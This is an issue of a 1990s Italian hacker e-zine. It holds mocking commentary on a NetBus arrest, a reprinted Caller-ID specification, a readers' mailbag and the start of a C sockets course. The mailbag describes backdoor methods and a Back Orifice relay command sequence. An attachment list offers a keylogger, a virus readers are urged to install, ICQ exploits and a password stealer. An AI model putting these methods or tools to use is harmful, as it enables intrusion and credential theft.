VOLftp sperando di non creare casini pubblicando un loro articolo:
>Se vi siete ripresi (noi ancora no!) continuiamo con il notiziario di
>questa settimana con una notizia della stampa locale (Unione Sarda)
>che riporta la notizia di un ragazzo che giocando con Internet si e'
>messo nei guai, concediamo al cronista l'uso del termine Hacker anche
>se lo riteniamo improprio, in quanto chiunque utilizzando programmi
>che si trovano facilmente sulla rete e' in grado di improvvisarvi
>pirata telematico. Gli hacker sono ben altra cosa e hanno ben altre
>conoscenze ed abilita'.
E' il primo giornalista che vedo che
lamer...ma aspettiamo x giudicare il
Cmq complimenti al giornalista xche'
tra chi e' spinto dalla conoscenza e
sa distinguere un vero hacker da un
tipo che hanno preso :)
ha dimostrato di capire la differenza
da chi vuole solo fare il figo e/o mona!
>Comunque meditate!! Uno scherzo si puo' anche farlo agli amici ma
>effettuarlo sistematicamente e su larga scala ai danni di sconosciuti
>porta a conseguenze penali decisamente pesanti.
Chi sbaglia paga...
>E come vedete l'autorita' e' oramai preparata ad intervenire per
>tutelare i cittadini anche quando navigano sulla rete ed e' sensibile
>alle segnalazioni.
Infatti il NOPT e' attivo come e' vero che io sono un hacker! :P
---------------------------------------------------------------------->L'hacker denunciato e' un geometra cagliaritano di 25 anni
Sottolineo quell'"hacker"...
>Files rubati ai
>Internet
computer dei "navigatori" grazie al
virus diffuso su
Virus? che virus sara'???
>Meglio non fermarsi a chiacchierare con gli sconosciuti, soprattutto
>sulle chat-line di Internet. L'hanno imparato a proprie spese numerosi
>abbonati a diversi provider nazionali, ai quali un hacker cagliaritano
>di 25 anni ha sottratto, durante la navigazione, gli identificativi e
>le password per collegarsi in rete. Visto che c'era, G. F., geometra
>disoccupato, ha fatto di piu': dal disco fisso dei computer delle
>vittime, ha portato via documenti e fotografie digitalizzate, creando
>seri danni e violando la privacy dei malcapitati. Il "capolavoro", del
>quale andava particolarmente fiero, era lo "scherzetto" organizzato ai
>danni di un perito assicurativo: l'uomo e' trasecolato, quando sul suo
>monitor e' comparsa la scritta "Il computer e' stanco".
Caxxo ma come avra' mai fatto questo genio hacker??????
>Ingegneri, avvocati, docenti universitari e studenti, caduti nella
>trappola del geometra, si sono rivolti ai carabinieri, che hanno
>individuato l'hacker. Ottenuto un mandato di perquisizione, i militari
>del Nucleo operativo della Compagnia hanno bussato alla porta di G. F.
che ha risposto "No grazie non compro niente" hihihi
>(che nel web era conosciuto col soprannome di "Harris"). Il giovane e'
Mi che ppppppaura!!! Il conte Drac...ehm...Harris!!!!!!!!!!!!
>stato denunciato per una sfilza di reati che vanno dall'accesso
>abusivo ai sistemi informatici alla diffusione di codici segreti,
>dalla sostituzione di persona alla violazione della tutela dei
>programmi per elaboratori, passando per la diffusione di software in
>grado di danneggiare i computer.
Ma sto cax di virus cosa sara' mai????
>"Harris", spiega il tenente Saverio Spoto, comandante della Compagnia
>dei carabinieri, contattava le sue vittime attraverso Icq, un area di
>conversazione offerta da numerosi provider di Internet. Utilizzando
Sono i provider a offrire icq? Non sono competente in materia ma non
credo proprio che siano i provider...
>una chiave d'accesso acquistata fornendo generalita' false, durante le
>"chiacchierate scritte" G. F. inviava ai computer delle vittime il
>virus Netbus, che consente di "navigare" nel disco fisso dei computer
>altrui durante il collegamento a Internet. Harris aveva anche un
uhhhhhhhhhhh!!!!! il famoso virus Netbus!!!!! Un vero e proprio virus!!!
Certo c'era bisogno di specificare, magari uno pensava che consentisse di
navigare nel disco fisso dei computer altrui finito il collegamento a
Internet! A computer spento magari!!!
>proprio sito, nel quale offriva foto pornografiche, programmi-pirata e
>files di ogni genere: chi si collegava al suo indirizzo, veniva
>immediatamente contagiato dal virus informatico.
Allora non e' una stronzata il fatto che il 44% degli italiani usano
Internet solo x andare su siti XXX ... e che il 32% lo usa x cercare e
scaricarsi software pirata ... ahahahah
>Ottenuto l'accesso ai computer delle persone contattate in rete,
>spiega il tenente Spoto, il giovane si impadroniva dell'identificativo
>e della password segreta, utilizzati dalle vittime per collegarsi alla
>rete: ne aveva alcune decine. Era solo l'inizio: subito dopo, iniziava
Cavolo!!! Alcune decine!!! Quanto vorrei diventare un vero hacker come lui
;) hihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihi
>il furto di files e foto digitali, che sparivano misteriosamente dagli
>hard disk dei proprietari e finivano su quello di G. F. Che uso
>intendesse farne, ancora non si sa: i carabinieri sospettano che il
>pirata informatico abbia forzato anche i sistemi di uffici pubblici e
>professionisti, entrando cosi' in possesso di dati estremamente
>riservati.
>Gli investigatori non spiegano come, ma alla fine sono riusciti a
Certo che e' difficile leggere un ip in qualke log file, andare dalla tin
e dire "Scusi chi e' questo x.x.x.x ???" Ricordatevi che nella polizia ci
sono solo ex-smanettoni o ex-hacker che cosa credevate ;)))))))))))))
>identificare il geometra, che ora
rischia una condanna fra uno e
>cinque anni di carcere. Dal comandante della Compagnia, partono ora
Da uno a cinque anni...se ti prendono a usare bo netbus e altri 10 trojan
che ti danno 60 anni di carcere?
>due appelli: I frequentatori dell'Icq farebbero bene a fare una
>scansione del disco fisso, con un antivirus aggiornato. Chi ha avuto
>contatti con Harris, se ha il dubbio che i suoi archivi siano stati
>forzati, venga a trovarci al Comando. L'indirizzo, stavolta non
>telematico, e' via Nuoro 9 Cagliari.
>
LUIGI ALMIENTO
Per questo numero e' tutto questo art vi e' stato segnalato da me cioe' io
che sono il mitico (non molto in verita') 3uC@50L. Spero che ognuno di voi
possa capire se quello che e' stato preso era un hacker o un lamer...cmq
a voi l'ardua scelta... e speriamo che queste parole non siano buttate al
vento come foglie d'autunno...
3uC@50L
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
L'ANGOLO DELLA POSTA
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Mailzz viva i lettori:
From: [email protected] (Jeff Sicherman)
Subject: Caller-ID Specifications
This is a copy of the data sheet picked up at the Rockwell
booth at the COMDEX show.
INTRODUCTION
Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first four second silent interval in the ringing
cycle. The customer must contact a Bellcore Client Company to
initiate CND service.
According to Pacific Bell representatives, the following states and
district currently support CND service: Delaware, District of
Columbia, Florida, Georgia, Idaho, Kentucky, Louisiana, Maine,
Maryland, Nebraska, Nevada, New Jersey, Oklahoma, Tennessee, Vermont,
Virginia, and West Virginia.
The following states are scheduled to support CND service by April,
1992: Alaska, Arizona, California, Colorado, Illinois, Indiana, Iowa,
Massachusetts, Mississippi, New Hampshire, New York, North Carolina,
North Dakota, Ohio, Oregon, Rhode Island, and South Carolina.
PARAMETERS
The data signalling interface has the following characteristics:
Link Type:
2-wire, simplex
Transmission Scheme:
Analog, phase-coherent FSK
Logical 1 (mark)
1200 +/- 12 Hz
Logical 0 (space)
2200 +/- 22 Hz
Transmission Rate:
1200 bps
Transmission Level:
13.5 +/- dBm into 900 ohm load
(I have copied this data as presented.
level is meant to be -13.5 dBm.)
I believe the transmission
PROTOCOL
The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.
Channel Carrier Message Message Data
Seizure Signal
Type
Length Word(s)
Signal
Word
Word
Word
Checksum
CHANNEL SEIZURE SIGNAL
The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).
CARRIER SIGNAL
The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.
MESSAGE TYPE WORD
The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).
MESSAGE LENGTH WORD
The message length word specifies the total number of data words
to follow.
DATA WORDS
The data words are encoded in ASCII and represent the following
information:
o
o
o
o
o
The first two words represent the month
The next two words represent the day of the month
The next two words represent the hour in local military time
The next two words represent the minute after the hour
The calling party's directory number is represented by the
remaining words in the data word field
If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".
CHECKSUM WORD
The Checksum Word contains the twos complement of the modulo 256
sum of the other words in the data message (i.e., message type,
message length, and data words). The receiving equipment may
calculate the modulo 256 sum of the received words and add this
sum to the reveived checksum word. A result of zero generally
indicates that the message was correctly received. Message
retransmission is not supported.
EXAMPLE CND SINGLE DATA MESSAGE
An example of a received CND message, beginning with the message
type word, follows:
04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
04h=
Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h=
Checksum Word
DATA ACCESS ARRANGEMENT (DAA) REQUIREMENTS
To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.
(I will mail the Rockwell data sheet, which includes the suggested
schematic diagram.)
MODEM REQUIREMENTS
Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.
(I'm skipping some Rockwell-specific information here.)
According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst.
APPLICATIONS
Modem manufacturers will soon be implementing new modem features
based on CND information as this service becomes widely
available.
Once CND information is received the user may process the
information in a number of ways.
1.
The date, time, and calling party's directory number can be
displayed.
2.
Using a look-up table, the calling party's directory number
can be correlated with his or her name and the name
displayed.
3.
CND information can also be used in additional ways such as
for:
a.
b.
c.
d.
Bulletin board applications
Black-listing applications
Keeping logs of system user calls, or
Implementing a telemarketing data base
REFERENCES
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.
To obtain Bellcore documents contact:
Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ
08834-4196
(201) 699-5800
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Ciao Zero Cool,
com'e' Praga? E le ceche??eh!eh!
Cmq ti volevo dire che avrei scritto una articoletto su 3 semplici backdoors
(aggiungere un user,manipolare .rhosts e inetd.conf per crearsi una porta..
cose che saprai a memoria) e mi chiedevo se le potevo mettere su Newbies nø2.
Se non posso dimmelo pure che non mi offendo! Poi ti volevo chiedere qualche
informazione su come e' strutturata la crew, chi sono i piu' bravi ecc.
Byez,
Hamelin
Re: si il tuo articolo e' ben accetto scusa se lo scrivo qua ed ora ma non
trovo la tua mail proprio + e il txt con su scritto cio'e'l' unica cosa
che mi e'rimasta fatti sentire ZeroCool
Re: l'art di Hamelin e' presente su questo numero :))) alla fine ci ha
ribeccati lui eheheheh N0bodY88
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Ciao zero, ascolta,
Ho un amico che fa il sistemista ed e'in grado di controllare il traffico
delle linee telefoniche !
Se io gli do dei numeri verdi e lui scopre che ci si collega sempre un sacco
di gente, significa che il GREEN e' piuttosto sicuro oppure il contrario ?
Andrew Coleman
Re: si mi farebbe piacere ricevere solo dei manuali e dei txt sulle linee
telefoniche per quanto riguarda i green non ne voglio proprio sapere
ZeroCool
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Vorrei esprimere la mia ammirazione verso il vostro fantastico gruppo
Vai ragazzi siete i migliori
Coda
RE: stragrazie millexxxxx ZeroCool
RE: oddio questo chissa' che si e' bevuto prima di sedersi davanti al computer
..o avra' fumato??? hihihi tnx cmq ricorda che e' un lavoro di squadra
nonostante ci siamo io e zero (e dal prox num nosferatu) come "capi", noi
siamo solo dei coordinatori e questa e-zine e' bella imo xche' non e' mia
o tua e' un po' di tutti ognuno la sente propria e x questo vuole miglio
rarla dando il meglio di se' coi propri articoli N0bodY88
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ciao zerocool sono un ragazzo che ne vuole sapere un pacco ma che, come te,
capisce poco l'inglese.
navigando ho trovato molti siti sull'hacking ma il piu' chiaro e' sicuramente
il vostro perche' e' in italiano e spiega testualmente na frega (molte) di
cose.
un po sto a lecca': non sono uno che ottiene le cose leccando il culo su irc
ma, visto che sembri molto disponibile, ti chiedo una cosa proprio da + lamer
che non si puo':
-cos'e' un volmetro? (non so manco se e' software o hardware)
per ora mi interesso dei green perche' appena ne trovero' uno potro dedicarmi
alla navigazione serrata per trovare strafigherie.
una cosa tra amici: una volta che c'ho il green che cazzo devo scriverci nella
user e password??????????
se mi rispondi sei un grande mo vengo sui vostri chan IRC
ciao:):)
RE: ciao grazie per i complimenti [ps ho un'inglesina che mi sta dando
lezioni di lingua e penso di poter avere un livello accettabile ] ;
per quanto riguarda un volmetro che so' io e' a livello hardware e per
quanto riguarda i green se vuoi un consiglio lasciali perdere o rischi
di fare una brutta fine ZeroCool
PS DI N0bodY88 = cosa intendevi zero con la frase "Ho un inglesina che mi sta
dando lezioni di lingua" ??? Ahhh io e i miei doppisensi...
hihihi
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Ola....ho visto il tuo indirizzo sulla pagina web http://www.newbies.tsx.org/
e visto che non so a chi rivolgermi spero in un tuo aiuto...
Questo e' il problema:
voglio lanciare Boclient (quello per Dos) su un pc di un boservizato da una
shell dos, in modo che i comandi indirizzati ad un secondo boservizato
partano da quel PC e non dal proprio....
il mio problema e' che non riesco a far eseguire boclient al primo pc..
Questa e' la procedura che seguo:
1-Appadd command.com 23
2-apro telenet
3-lancio boclient.exe (devo mettere qualche parametro?)
e mi si inchioda qui Telnet....ma se faccio un process list vedo il processo
attivo....
Ho provato a lanciare direttamente anche Appadd c:\boclient.exe 23
ma quando apro telent sulla porta 23 non risponde niente ;-(
Che devo fare?....Ma si puo fare una cosa del genere?
Ho fatto mille prove....ma il risultato e' sempre quello ;-(
byez
Snafuz
RE: Ciao in questo numero dell'ezines ci dovrebbe essere la risposta per la
tua domanda
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
"ah na cosa sapete che esiste un sito in internet con tutti i numeri verdi
esitenti italiani [nooo] e anche quelli non doumentati nelle guide [nooooo]
si , bhe ma ci vuole un caro account se qualcuno e' disposto ad aiutarmi
nel trovarlo mi contatti [[email protected]] ah gia' il sito in questione si
chiama http://12online.tin.it ... ciao a tutti
ZeroCool"
Che sappia io non ci sono quelli non documentati nelle guide...sorry.
Blum
[email protected]
RE: Mha a me han detto cosi'cmq magari sbaglio cmq e'un argomento che non mi
interessa piu'cmq colgo l'occasione per salutarti sei miticissimo ZeroCool
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Ciao Sono Uncle Jack, vi sto seguendo su ahccc da due mesi circa ed esco dall
ombra per due motivi:
Innanzi tutto complimenti per il primo numero dell' E-ZINE
L'ho scaricato stampato e letto nel giro di una sera!!!!
Spero che le uscite continuino anche se penso che non sia un lavoro da poco
mettere insieme un lavoro di quelle dimensioni.
Comunque sono in attesa del secondo numero ;-))
Secondo ho letto il post di Newbie 1,1 riguardo il futuro di ahccc e condivido
il pensiero che negli ultimi periodi e' scaduto parecchio di qualita', io mi
sono ridotto a leggere solo i post di alcuni di voi lasciando perdere il
resto.
Trovo quindi FANTASTICA l' idea della mailing list e siccome sul Vs. sito la
pagina e' in costruzione........e non e' meglio specificato a chi rivolgersi,
chiedo a voi ma e' come se lo chidessi a tutto il gruppo se per cortesia mi
voleste inserire nella lista consentendomi di continuare a seguire i post di
gente che ha contribuito a risvegliare la mia curiosita di studiare ed
imparare (NB. ho 32 anni e il mio primo login risale all aprile 1992 poi per
motivi di lavoro e famiglia ho dovuto mollare ho ripreso grazie a voi).
Nella speranza di poter sedere alla vostra tavola per poter appagare
la mia sete di sapere vi saluto.
RE: Non ho parole sei strabenvenuto da noi e la mailing list e' gia'attiva
ZeroCool
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
hi ZeroCool, volevo avvertirti che nel tuo sito non ci sono i "testi
tradotti", potresti mandarmi i testi via e-mail o darmi un indirizzo dove
possa trovare questi testi?
RE: Il nostro traduttore ufficiale si sta dando da fare al riguardo ZeroCool
RE: Tutti le traduzioni sono sempre state messe nelle e-zine fino adesso, ma
appena rifacciamo il sito faremo la page traduzioni N0bodY88
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
scusa , ti volevo anche chiedere se potevo pubblicare la vostra rivista sul
mio sito , come.to/lopks con la "rivista" della precedente mail intendevo
dire la e-zine di ZeroCool e N0bodY88 .....
by lopks
RE: certo te la mandero'al + presto . ZeroCool
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
RIEPILOGO LINK IN ORDINE ALFABETICO
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[
[
[
[
[
[
[
[
D.I.B. ----------------------------------------------> http://come.to/dib
NetRunners ---------------------> http://members.tripod.com/~teresacanis/
NewBies -----------------------------------------> http://newbies.tsx.org
RingZ3rO ---------------------------------------> http://ringzer0.cjb.net
Softpj -------------------------------> http://softpj98.bbk.org/main.html
Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/
Spippolatori -------------------------------> http://www.spippolatori.com
Vana - Imago ------------------> http:/members.xoom.com/eripper/index.htm
]
]
]
]
]
]
]
]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°Û°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°°°°ÛÛÛ°°°°°°ÛÛÛ°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛÛ°°°ÛÛ²ÛÛ°°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°²
²°°°°°°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
2 PAROLE SUGLI ALLEGATI:
- anti-s.zip = file con altri 5 doc presi dalla mitica guida fatta da
Anti-Social.
- AntiMelissa = questa e' una voce di registro che se aggiunta al ns registry
ci rende non attaccabili dal tanto decantato melissa.Tnx Sephy
- cmanager.exe = programmino usato in alcuni netcafe e del quale unlt ci ha
fatto lieto dono :))), trovate una descrizione del prog nella
sezione "hacking e altro" dove ulnt spiega tutto quello che
sa sui netcafe :-)))))))
- CookBook = zip con il (speriamo diventi) famoso CookBook di ElectroRipper
in anteprima x NewBies da uno dei + attivi degli scrittori della
ns e-zine.
- file3ds.zerocool = file 3ds attinente all'articolo in cui ZeroCool parla di
programmazione di demo x nintendo 64.
- Guida di Kalidor all'hacking per Win95-98.zip = file contenente la guida
fatta dal mitico Kalidor.
- IcqExploit.htm = questo e' un file fatto da Sephy il cui uso e' spiegato nel
suo articolo intitolato ICQ EXPLOIT.
- italiano.lng = Traduce netbus 2 dall'inglese all'italiano... inseritelo
nella dir LANG e fate opzioni nel menu di netbus...by Sephy
- KeyLogger.zip = come capirete dal nome (ma no!) questa e' un keylogger (ma
va!) che Sephy ci spiega ad usare in uno dei suo articoli,
e cmq trovate la documentazione all'interno se avete fretta
di usarlo.
- naggabox.zip e omega.zip = file in cui sono riportati gli schemi di una blue
box che nonstante se ne dica secondo me funziona
ankoroggi qui in italia ;-)
- NetBusEliminator = utile programmino fatto dal ns Quequero che praticamente
va a modificare le proprieta' del server di NetBus
cosicche' se siete infetti vedrete il server caricarsi
al riavvio del pc senza che lo stesso sia + nascosto,
individuandone quindi anke il nome. Un tnx 1000 a
Quequero da parte di tutti noi.
- NetbusICO.zip = alcune icone da usare secondo quanto spiegato da Sephy in uno
dei suo articoli (ma quanti ne ha fatti sto qua??? hihihi)
- newbies.asm = virus fatto da Caos83 e provato nella sua scuola, se avete un
po' di cultura di so e hacking installatevelo e provate a
rispondere alle domande che vi verranno poste ;-)
- r0_pesentry.zip = file zip che e' collegato all'articolo di Kill3xx (dei
Ring0...i migliori!)
- rain10.zip = file accluso xche' chiamato in causa da SoftWord x il suo
articolo sull'overclock;
- SourceCode.zip = file contenenti info e codice che ©ipLey ha spiegato (si
proprio l'articolo dove si spiega come fare una backdoor!)
- supporti.zip = file allegato con i sorgenti, l'exe e molti .pas moooooooolto
interessanti dei quali Master parla nel suo articolo ^______^
- zerocool.zip = file contenente una serie di exploits forntici dal ns mitico
redattore, un prog x leggere le pass del prog CuteFtp e un
paio di immagini da luis elezionate eheheh.
N0bodY88
PS DELL'ULTIMO MINUTO:dato che non so quanti di voi hanno voglia di scaricarsi
una e-zine di un 1 mega e mezzo, abbiamo deciso di
dividere la e-zine in 2 zip, 1 contenente questa e-zine
e altri articoli o guide, mentre nell'altro trovate i
prog che son sopra elencati, ma questo non vuol dire che
non dovete scarcarli entrambi :PPP
N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛ°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛ°°ÛÛ°°°°°°°°°°°°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°°°°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛ²²ÛÛ°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛ°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°ÛÛÛÛÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³ ::::::::::::::::::::::::::: |
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ Titolo: Corso di C - III Parte³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ di : ElectroRipper
³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ Scritto il : 21/4/99
³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ Pericolo: Û°°°°°°°°°
³
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
E L E C T R O R I P P E R
P R E S E N T A
C O R S O
D I
C
I I I
P U N T A T A
Stavolta parliamo dei...socket!
Oramai dovreste avere un'idea generale del linguaggio e di come programmare in
C, semplici applicazioni, dopo aver letto le prime due puntate di questo
corso, riguardanti la prima la sintassi di base, e la seconda la gestione dei
files, quindi stavolta tratteremo un argomento un po' piu' specifico.
Dato che e' un argomento lunghetto lo divideremo in due puntate.
Un socket altro non e' che un cazzariello che gestisce per noi le parti piu'
a basso livello di una connessione, lasciandoci cosi' liberi di pensare al
programma e risparmiandoci un casino di fatica.
Faro' riferimento a Unix e Linux ma in Windows non dovrebbe cambiare molto.
Ecco gli headers che dovrete includere nei vostri programmi per il supporto
dei socket di base :
sys/socket.h
sys/types.h
netinet/in.h
netdb.h
Per Windows95 la libreria che si occupa della gestione dei socket e'
wsock32.dll
Un socket viene riconosciuto dal C per il suo descriptor. Proprio come un file
infatti un socket ha un numero intero che lo identifica, e glielo assegniamo
con la funzione socket, che usa la seguente sintassi :
int socket(int domain, int type, int protocol);
Ecco le costanti piu' comuni da passare come domain :
AF_UNIX
AF_INET
AF_ISO
(protocolli interni Unix)
(protocolli internet ARPA)
(protocolli ISO)
Come type potete usare invece :
SOCK_STREAM (TCP)
SOCK_DGRAM (UDP)
SOCK_RAW
(Il programma stesso costruisce i pacchetti)
Come protocol potete passare 0 in modo che scelga automaticamente quello +
adatto.
L'int restituito sara' appunto il descriptor del socket che abbiamo appena
creato.
Poi dobbiamo comunicare al socket a quale indirizzo collegarsi e su quale
porta e per farlo utilizziamo la struttura sockaddr, o meglio la struttura
sockaddr_in con un cast.
struct sockaddr_in{
short sin_family;
short sin_port;
struct in_addr sin_addr
}
sin_addr e' una struttura di tipo in_addr, cioe'...
